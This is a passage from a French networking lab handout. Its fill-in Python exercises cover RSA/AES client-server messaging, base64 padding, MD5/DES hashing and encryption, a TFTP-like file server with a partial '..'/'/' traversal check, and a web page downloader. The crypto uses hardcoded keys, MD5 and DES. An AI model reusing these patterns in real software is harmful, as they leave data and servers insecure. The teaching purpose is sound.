9 MessageRec=b""
10
11 print ("Connexion de la machine = ", adresse_client)
12 # Transmettre le contenu de la cle publique apres la connexion
13 # Utilisez la methode send de connexion_avec_client pour
14 # transmettre contenu_clepublique
15 # (A FAIRE 1) ajoutez l'instruction dans cette ligne
16
17
18 try:
19 while True:
20 MessageRec=connexion_avec_client.recv(1024)
21 # Dechiffre le message recu (MessageRec)
22 # Utilisez la methode decrypt de la cle prive (objet_cle_rsa_prive)
23 # Affectez le resultat du dechiffrement a MessageRec
24 # (A FAIRE 2) ajoutez l'instruction dans cette ligne
25
26
27
28 if MessageRec==b"Fin":
29 break
30
31 print("Client" ,adresse_client," a dit :",[Link]())
32 except:
33 print("Deconnexion")
34 print("Deconnexion de :",adresse_client)
35 try:
36 connexion_avec_client.close()
37 except:
38 pass
39
40 SocketServeur = [Link]()
41 host = [Link]()
42 port = 9500
102
Exercice : Communication avec serveur sécurisée
43 [Link](("[Link]", port))
44
45 [Link](5)
46
47 contenu_clepublique = open("fichier_cle_publique.pem","rb").read()
48
49 contenu_cleprive = [Link](open("fichier_cle_prive.pem","rb").read())
50 # cree un objet a partir de la cle permetant de chiffre avec RSA
51 objet_cle_rsa_prive = PKCS1_OAEP.new(contenu_cleprive)
52 print("Lancement serveur")
53 while True:
54 ConnexionAUnClient, addrclient = [Link]()
55 thread.start_new_thread(Traiter_Connexion,(ConnexionAUnClient,addrclient))
56
- Après la connexion au serveur, le client (Listing 4) doit recevoir la clé publique qui sera transmise
automatiquement par le serveur. A partir de la clé publique reçue (Cle_publique), le client crée un objet
de clé publique (objet_cle_rsa_publique) ;
- Par la suite, pour chaque message saisie par le client, celui-ci est chiffré avec la clé publique (
objet_cle_rsa_publique) et transmis (resultat_chiffre) ;
1 import socket
2 from [Link] import RSA
3 from [Link] import PKCS1_OAEP
4
5 SocketClient = [Link]()
6 host = [Link]()
7 port = 9500
8 [Link](("[Link]", port))
9
10 Cle_publique=b""
11 while True:
12 recu=[Link](1024)
13 Cle_publique+=recu
14 if b'-----END PUBLIC KEY-----' in Cle_publique:
15 break
16
17 # Importez la cle a partir du contenu recu Cle_publique
18 # Utilisez la methode importKey de RSA pour importer la cle
19 # Mettez le resultat dans clepublique
20 # Creez un objet objet_cle_rsa_publique a partir de clepublique (objet de cle
publique)
21 # Utilisez PKCS1_OAEP.new pour faire ceci
22 # (A FAIRE 1) ajoutez deux instructions dans les deux lignes suivantes
23
24
25 print("Lancement serveur")
26 while True:
27 MessageATransmettre=input().encode()
28 # Chiffre le message lu du clavier (MessageATransmettre)
29 # Utilisez la methode encrypt de objet_cle_rsa_publique
30 # Mettez le resultat dans resultat_chiffre
31 # (A FAIRE 2) ajoutez l'instruction dans cette ligne
32
33
34
103
Encodage Base 64
35 [Link](resultat_chiffre)
36 if(MessageATransmettre==b"Fin"):
37 break
38 print( "Deconnexion de :",addrclient)
39 [Link]()
Question
1. Programme Serveur : Transmettre le contenu de la clé publique au client (A FAIRE1 - Ligne 16). Une
instruction suffirais pour ceci ;
2. Programme Client : Créer l'objet de la clé publique au niveau du client [clepublique] à partir de la clé
reçue du serveur [Cle_publique](A FAIRE 1-Ligne 21). Voir l'exemple dans Exercice 1 (Listing 2-
Ligne 5) pour importer la clé à partir du contenu reçu ;
3. Programme Client : Créer un objet de la clé publique à partir de clepublique, et mettre le résultat dans
l'objet objet_cle_rsa_publique. Voir Listing 2- Ligne 8 pour comment créer un objet à partir du contenu
de la clé .(A FAIRE 1-Ligne 22) ;
4. Programme Serveur : Déchiffrer le contenu reçu du client [ MessageRec] avec la clé privée [
objet_cle_rsa_prive](A FAIRE 2-Ligne 25). Une instruction suffirais pour ceci ;
5. Programme Client : Chiffrer le contenu du message saisi (MessageATransmettre) par l'utilisateur avec la
clé publique(objet_cle_rsa_publique). Mettez le résultat dans la variable resultat_chiffre. Voir Listing 2-
Ligne 14 pour comment chiffrer. (A FAIRE 2-Ligne 32) ;
Remarque :
En réalité, le serveur transmet ça clé publique au client mais seulement afin que le client chiffre et transmet à
son tour une clé symétrique (AES ou DES) au serveur. Par la suite, les messages transmis par le client et par le
serveur sont chiffré avec la clé symétrique (et non pas par la clé publique RSA).
La difficulté de se programme réside dans comment encoder la langueur du message, calculer le nombre
d'octets de bourrage ajoutés à la fin.
5. Encodage Base 64
Pour commencer, téléchargez les programmes de cette partie dans le lien suivant : [Link]
/folders/1okQpQv641qJpvEgj8RRtPXZAjf_mUOAa?usp=sharing
L'encodage Base 64 est un algorithme permettant de transformer des données binaires (image, sons, vidéo) en
représentation ASCII (texte claire). Cet algorithme n'est pas un algorithme de chiffrement mais peut être utilisé
pour encoder les données avant de les chiffrer.
- La première étape ajoute des octets 0 tel que le nombre d'octets dans le contenu à encoder est multiple de
3.
- Chaque bloque de 3 octets est divisé en bloques de 6bits.
104
Encodage Base 64
- Chaque valeur de 6 bits est représentée par un caractère ASCII. Le bloque 6 bits peut prendre 2^6 (64
d'où le nom de l'encodage). Les 64 caractères sont les 10 chiffres, 26 minuscules, 26 majuscules ,
caractère + et /. Le 65em caractère = est utilisé pour marque les caractères de bourrage à la fin de
l'encodage.
Les correspondances entres les valeurs 6 bits et les caractères ASCII sont les suivantes :
105
Exercice : Bibliothèque base64
ABCD
01000001010000100100001101000100
- La taille du contenu n'est pas multiple de 3, ainsi 2 octets sont ajoutés ( 3 -(4%3)) à la fin. Le résultat est
le suivant :
010000010100001001000011010001000000000000000000
QUJDRA==
Remarque
Les séquences 6 bits avec valeur égale à 0 à la fin sont encodées avec =.
Les séquences 6 bits avec valeur égale à 0 au milieu du code sont encodées avec A.
Pour décoder un contenu représenté avec l'encodage 64, le processus inverse est appliqué :
1. Chaque caractère du code est représenté avec la valeur 6 bits correspondante (les espaces et les retours à
la lignes sont automatiquement ignorés).
2. Les valeurs 6 bits sont concaténés dans un bloque de 24 bits.
3. Le bloque est ensuite divisé en octets de 8 bits pour récupérer le contenu originale.
106
Exercice : Communication crypté AES avec encodage base64
Question
Avec l'encodage Base 64, ce problème n'existe pas. Il suffit d'encoder le contenu à base 64 et d'ajouter autant
de caractères = à la fin pour rendre la taille multiple de 16. Après, le contenu est encodé avec AES, et le
récepteur peut repérer directement les octets de bourrage ( les caractères = à la fin) sans avoir besoins d'autres
informations.
1 #importe AES
2 from [Link] import AES
3 import base64
4 #cree une instance AES avec une cle= "cle16 octets AES"
5 objet_de_chiffrement=[Link]("cle16 octets AES")
6
7 #ouvre le fichier et lit le contenu complet de celui-ci
8 # en mode bytes
9 Message_claire=open("fichier_claire.jpg","rb").read()
10
11 # (A Faire 1) utiliser base64 pour encoder le contenu
12 # du fichier Message_claire (base64.b64encode)
13 # Mettez le resultat dans la variable Message_Ecode
14
15
16 # si la taille du contenu n'est pas multiple de 16
17 if len(Message_Ecode)%16>0:
18 # (A Faire 2) calculez le nombre d'octets de bourrage
19 # pour que le contenu soit multiple de 16
20 # et mettez cette valeur dans la variable padding
21
22
23 # le contenu est complete avec le des octets b'='
24 # repete avec padding fois
25 Message_Ecode=Message_Ecode+padding*b'='
26 #chiffre le message encode
27 contenu_chiffre=objet_de_chiffrement.encrypt(Message_Ecode)
28
29 # creation d'un objet fichier en ecriture en mode bytes
30 fichier_sortie=open("[Link]",'wb')
31 # ecriture du contenu chiffre
32 fichier_sortie.write(contenu_chiffre)
33 # fermeture du fichier
34 fichier_sortie.close()
35
107
Exercice : Chiffrement et Déchiffrement AES et base64
Question 1
1. A Faire 1 : D'encoder le contenu avec Base64 (Ligne 11 à 14). Une instruction suffit.
2. A Faire 2 : De calculer le nombre d'octets de bourrage (b"=") qu'on doit ajouter à la fin pour que le
chiffrement AES soit possible (Ligne 18 - 21). Une seule instruction suffit.
[Link]
Le fichier "fichier_claire.jpg" est téléchargeable à partir du lien suivant (vous êtes aussi libre de chiffrer un
fichier de votre choix, soyez sure que le fichier que vous essayez de chiffrer est dans le même répertoire que
le programme) :
[Link]
Question 2
- Après avoir complété le programme (A FAIRE 1 et A FAIRE 2), quelle est l'image en résultat ?
[Link]
[Link]
108
Exercice : Communication Client-Serveur
Complétez la procédure de chiffrement et hachage selon les instructions dans les commentaires A Faire 1,2,3
et 4
1 def procedureChifrement(message,key):
2 # A FAIRE 1: calculez le hash md5 du message
3 # placez le resultat dans la variable msgmd5 (utilisez la méthode hexdigest)
4
5 print(msgmd5)
6 # A FAIRE 2: encodez le message avec base64 et placez le dans msgenc
7
8 print(msgenc)
9 # A FAIRE 3: calculer le padding
10 # ajouter des b'=' à la fin de msgenc pour avoir une taille multiple de 8
11 #print(len(msgenc),(8%len(msgenc)))
12
13 print(msgenc)
14 #print(len(msgenc),(8%len(msgenc)))
15 # A FAIRE 4: chiffrez msgenc avec DES
16 # utilisez la valeur key comme cle
17 # placez le résultat dans msgencry
18
19 print(msgencry)
20
21 return [Link]()+b"\r\n"+msgencry
Question 2
Complétez la procédure de déchiffrement et de vérification de hachage selon les instructions dans les
commentaires A Faire 1 et 2.
1 def procedureDechifrement(contenu,key):
2
3 msgmd5,msgencry=[Link](b"\r\n")
4
5
6 # A FAIRE 1: dechifrez et decoder msgencry
7 # placez le resultat dans messageclaire
8
9 print(messageclaire)
10
11
12 # A FAIRE 2: verifier que msgmd5 est egale au hashage md5 de messageclaire
13 # si les deux valeurs sont differents retourner None
14
15
16 return messageclaire
109
Exercice : Communication Client-Serveur
1 import socket
2 from [Link] import RSA
3 from [Link] import PKCS1_OAEP
4 from [Link] import AES
5 import base64
6 import time
7 import os
8 # cree une cle de 128 bits (16 octets)
9 cle_AES=[Link](16)
10
11
12 SocketClient = [Link]()
13 port = 9500
14 [Link](("[Link]", port))
15
16 Cle_publique=b""
17 while True:
18 recu=[Link](1024)
19 Cle_publique+=recu
20 if b'-----END PUBLIC KEY-----' in Cle_publique:
21 break
22
23 clepublique = [Link](Cle_publique)
24 # cree un objet a partir de la cle permetant de chiffre avec RSA
25 objet_cle_rsa_publique = PKCS1_OAEP.new(clepublique)
26
27
28 # chffre la cle AES avec la cle RSA
29
30 cle_AES_chiffre=objet_cle_rsa_publique.encrypt(cle_AES)
31
32 # (A FAIRE 1) envoyez la cle chiffre (cle_AES_chiffre) au serveur
33 # Utilisez la methode send de SocketClient
34
35
36 # met le programme en attente pour 5 secondes
37 [Link](5)
38
39 # cree l'objet de chiffrement AES
40 objet_de_chiffrement=[Link](cle_AES)
41
42
43 while True:
44
45
46 MessageATransmettre=input().encode()
47 # (A FAIRE 2) Encodez la chaine de caracteres lue (MessageATransmettre)
48 # avec base64, mettez le resultat dans Message_Encode
49
50
51 # ajoute les octets b'=' a la fin pour que la taille soit
52 # multiple de 16
53 Message_Encode=Message_Encode+(16-(len(Message_Encode)%16))*b'='
110
Exercice : Communication Client-Serveur
1 import socket
2 import _thread as thread
3 from [Link] import RSA
4 from [Link] import PKCS1_OAEP
5 from [Link] import AES
6 import base64
7
8 def Traiter_Connexion(connexion_avec_client,adresse_client):
9 global objet_cle_rsa_prive,contenu_clepublique
10
11 print ("Connexion de la machine = ", adresse_client)
12 connexion_avec_client.send(contenu_clepublique)
13
14 # recoit la cle AES genere par le client chiffre
15 # avec la cle publique
16 cle_AES_chiffre=connexion_avec_client.recv(1024)
17 # (A FAIRE 1) Dechiffrez la cle AES (cle_AES_chiffre) avec la cle prive sur
serveur
18 # Utilisez la methode decrypt de objet_cle_rsa_prive
19 # Mettez le resultat dans la variable cle_AES
20
21
22 # cree l'objet de dechiffrement AES
23 objet_de_dechiffrement=[Link](cle_AES)
24 try:
25 while True:
26 Message_Chiffre=connexion_avec_client.recv(1024)
27 # (A FAIRE 2) Dechiffrez le message recu (Message_Chiffre) avec la cle
AES
28 # Utilisez la methode decrypt de objet_de_dechiffrement
29 # Mettez le resultat dans la variable Message_Decode
30
31
32 # (A FAIRE 3) Decodez le resultat avec base64 (Message_Decode produit
par l'instruction precedente)
33 # Utilisez la methode b64decode de base64
34 # Mettez le resultat dans la variable MessageRec
35
36
37 if MessageRec==b"Fin":
38 break
39
40
41 print("Client" ,adresse_client," a dit :",[Link]())
42 except:
43 print("Deconnexion")
44 print("Deconnexion de :",adresse_client)
45 try:
46 connexion_avec_client.close()
47 except:
111
Exercice : Communication Client-Serveur
48 pass
49
50 SocketServeur = [Link]()
51 host = [Link]()
52 port = 9500
53 [Link](("[Link]", port))
54
55 [Link](5)
56
57 contenu_clepublique = open("fichier_cle_publique.pem","rb").read()
58
59 contenu_cleprive = [Link](open("fichier_cle_prive.pem","rb").read())
60 # cree un objet a partir de la cle permetant de chiffre avec RSA
61 objet_cle_rsa_prive = PKCS1_OAEP.new(contenu_cleprive)
62 print("Lancement serveur")
63 while True:
64 ConnexionAUnClient, addrclient = [Link]()
65 thread.start_new_thread(Traiter_Connexion,(ConnexionAUnClient,addrclient))
66
- La différence entre ce programme est celui vu dans la fin de la partie précédente, c'est que le client
initialement génère et transmet une clé AES au serveur (celle-ci est chiffrée avant la transmission avec
la clé publique du serveur). Par la suite, au lieu de chiffrer chaque message avec la clé publique du
serveur, les messages sont encodés avec Base64 en premier temps et puis chiffrés avec la clé AES.
- Le serveur à son tour reçoit la clé et crée un objet de déchiffrement AES. Par la suite, chaque message
reçu par le client est déchiffré par AES et puis décodé avec Base 64.
Question
Complétez le code Serveur (A FAIRE 1, 2 et 3 ) ainsi que le client (A FAIRE 1 et 2) pour que la
communication fonctionne.
112
Devoirs TP
Devoirs TP
XII
1. Remise du travail
Attention
- Ce devoir a pour objectif de tester les connaissances acquises lors du TP Réseaux Avancés.
- Ce devoir peux se faire jusqu'à deux par groupe.
- Date limite de remise : une semaine après les examens.
- Toute tentative de copiage d'une solution sera récompensée avec un 0 pour la note attribuée à la partie plagié
(ci-ci s'applique pour toutes les étudiants impliqués).
- Chaque groupe d'étudiants a le choix entre les deux exercices (un seul exercice à faire au choix).
- Les groupes qui effectuent les deux exercices auront +1pts dans la note TP totale si les deux solutions
sont justes.
- L'implémentation de la solution avec n'importe quel langage de programmation est permise.
113
Exercice : Client TFTP-Like
7 Chemin_racine=[Link]().split("\\")[-1]
8
9 # Ecout de connexion sur toutes les insterfacces ([Link])
10 [Link](("[Link]", port))
11
12 print("Lancement serveur")
13 [Link](10)
14 while True:
15 # Attente d'une connexion (accept)
16 ConnexionAUnClient, addrclient = [Link]()
17
18
19 print( "Connexion de la machine = ", addrclient)
20 while True:
21 # Format des commandes transmis par le client : "Type_Commande:NomFichier"
22 # Type_Commande == 3 changer le repertoir courant (Change Working
Dirrectory)
23 # Type_Commande == 2 demander la liste des fichiers dans le repetoir
courant
24 # Type_Commande == 1 ( par exemple si la commande recue == "1:[Link]"
signifie telecharger "[Link]" )
25 # Type_Commande == 0 Si la commende commence par "0:" ce la signifie que
le client souhaite deconnecter
26 # par exemple "0:", "0:CYA" et "0:leaving" signifient deconnexion
27 try:
28 Commande=[Link](1024)
29 # decouper la commande par le caractere ":"
30 Arguments=[Link]("utf-8").split(":")
31 # le premier argument represente le type de la commande
32 Taille_commande=int(Arguments[0])
33 Nom_Fichier=Arguments[1]
34 if(Taille_commande==0):# commande de deconnexion
35 [Link](b"200 k, bye")
36 # L'envoie d'une sequence "--\r\n\r\n" delimite la fin d'une
reponse
37 [Link](b"--\r\n\r\n")
38 # Sortir de la boucle de traitement while
39 break
40 elif(Taille_commande==1):# commande de telechargement de
fichier
41 # Nom_Fichier ne doit pas contenir ".." ou / (tentative de
parcourir les repertoirs )
42 if( ".." in Nom_Fichier or "/" in Nom_Fichier ):
43 [Link](b"501 DIRECTORY TRAVERSAL DENIED")
44 [Link](b"--\r\n\r\n")
45 continue # Esquiver le reste des instructions
46 try:
47 # Lire le fichier designé par la commande utilisateur
48 Fichier_Upload=open(Nom_Fichier,"rb")
49 for octets in Fichier_Upload:
50 # Transmettre chaque sequence d'octets lu vers le
client
51 [Link](octets)
52 # Fermer le fichier lu
53 Fichier_Upload.close()
54 [Link](b"--\r\n\r\n")
55 except:
56 [Link](b"500 Fichier introuvable")
57 [Link](b"--\r\n\r\n")
58 elif(Taille_commande==2):
114
Exercice : Client TFTP-Like
Question 1
Écrivez le code d'un client permettant la lecture / envoie de commande TFTP_Like et la récupération du
résultat. Le programme client doit gérer l’occurrence des erreurs avec la clause try - except ainsi que permettre
l’exécution des quatre commandes.
Indice :
Voir l'exemple suivant pour le format des commande et réponse de TFTPLike :
115
Exercice : Aspirateur de pages HTTP
Question 2
Changez le code du serveur afin de le rendre capable de traiter les requêtes de plusieurs clients simultanément
(voir le premier TP sur le multi-threading).
116
Exercice : Aspirateur de pages HTTP
9 if [Link]("https:"):
10 # si l'URL est un URL HTTPs, on utilise une connexion HTTPS (HTTP<u>S<
/u>Connection)
11 ConnexionHTTP=[Link](site)
12 else:
13 # sinon, on utilise une connexion HTTP (HTTPConnection)
14 ConnexionHTTP=[Link](site)
15 # Envoie d'une requete GET
16 [Link]("GET", URL)
17 # Obtention de la ressource
18 Reponse = [Link]()
19
20 Content_Length=[Link]
21 print ("Taille reponse = ",Content_Length)
22
23 # Ouvrir un fichier en mode d'ecriture [Link] en octets
24 Fichier_Pour_enregistrer_le_resultat=open("[Link]","wb")
25
26 # Lecture du contenu de la ressource
27 Partie_recu=[Link](1024).decode("unicode_escape")
28
29 # len(Partie_recu) == nombre de caracteres dans Partie_recu
30 # Tanque le nombre de cracateres recus est different de 0
31 while len(Partie_recu)!=0:
32 # Ecrir la partie recu sur le fichier "[Link]"
33 # encode() converti un suite de caractere en une suites d'octets
34 Fichier_Pour_enregistrer_le_resultat.write(Partie_recu.encode())
35
36 # Continue de recevoir les donnees transmis par le serveur http
37 # decode("unicode_escape") converti une suite d'octets en caracteres ASCII
38 # decode("utf") pour convertir une suite d'octets en caracteres UTF-8
39 Partie_recu=[Link](1024).decode("unicode_escape")
40 # Afficher la partie recu
41 print(Partie_recu,)
42
43 # Alternativement [Link]() peut etre utiliser directement (au lieu de
recevoir la reponse dans des morceaux de 1024octets) pour recevoir la ressource
complete
44 # Mais la concatenation de toute une ressource dans une seule sequence ralenti
l'execution du programme
45
46 # Cloturer le fichier
47 Fichier_Pour_enregistrer_le_resultat.close()
48
Afin de rechercher les références des ressources d'une page, les expressions régulières doivent être
utilisées comme suite :
1 # code python3
2 import re # Regular Expression (expression reguliere)
3 # Ouvrir le fichier contenant la page [Link]
4 fichier=open("[Link]","rb")
5 contenu_fichier=""
6 # Lecture du contenu du fichier
7 for ligne in fichier:
8 contenu_fichier+=[Link]("unicode_escape")
9 [Link]()
10 # rechercher toutes les occurence dans le texte de la forme "[^"]+\.css"|"[^"]+\.
js"|"[^"]+\.png" (une chaine de caractere se terminant par un .js entouree par "")
11 # '.' (point) == nimporte quel caractere ('\.' reference le caractere point)
117
Exercice : Aspirateur de pages HTTP
L’exécution de la recherche avec expression régulière (programme précédant) sur le fichier [Link] (qu'ont
a télécharger par le 1er programme HTTP) donne le résultat suivant (liste des URLs des ressources) :
Question
- Écrivez un programme permettant de télécharger toutes les ressources utilisées par une page HTML
(fichier .js, .css, .xss, image .png et .jpg, etc).
- Regroupez toutes les ressources téléchargées dans un sous-répertoire.
- Changez les URLs des ressources dans la page HTML afin d'accéder aux copies téléchargées (sur le
disque) au lieux des liens http.
- Voir l'exemple suivant qui montre comment remplacer une chaîne de caractères correspondante à une
expression régulière par un autre texte.
118
Exercice : Aspirateur de pages HTTP
Indice :
Utilisez la procédure [Link]("Nom_Sous_Repertoire") pour créer un répertoire "Nom_Sous_Repertoire".
119